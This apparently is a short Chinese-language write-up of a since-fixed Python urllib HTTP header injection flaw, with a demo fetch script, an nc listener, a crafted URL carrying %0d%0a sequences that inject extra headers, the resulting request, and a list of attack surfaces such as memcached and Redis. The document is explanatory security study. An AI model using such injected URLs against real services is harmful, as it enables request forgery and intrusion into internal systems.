Python urllib HTTP头注入漏洞


Python的urllib库(在Python2中为 urllib2 ,在Python3中为 urllib )有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web servr,那这个漏洞可能会危害内网服务安全。
HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。
注:现在的python版本已经修复了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!python
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)

这段代码只是从命令行参数接收一个URL,然后去访问它。为了查看 urllib 获取的HTTP头,我们用一个nc来监听端口。
在命令行输入

1
nc -l -p 12345

重新打开一个窗口运行py文件

1
fetch3.py http://127.0.0.1:12345/style

可以看到,在server得到了http请求头
然后我们使用恶意构造的地址

1
./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

1
2
3
4
5
6
7
8
#!shell
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

攻击面

HTTP头注入和请求伪造

攻击memcached

攻击Redis

参考

https://strcpy.me/index.php/archives/749/
http://www.anquan.us/static/drops/papers-16905.html
https://security.tencent.com/index.php/blog/msg/106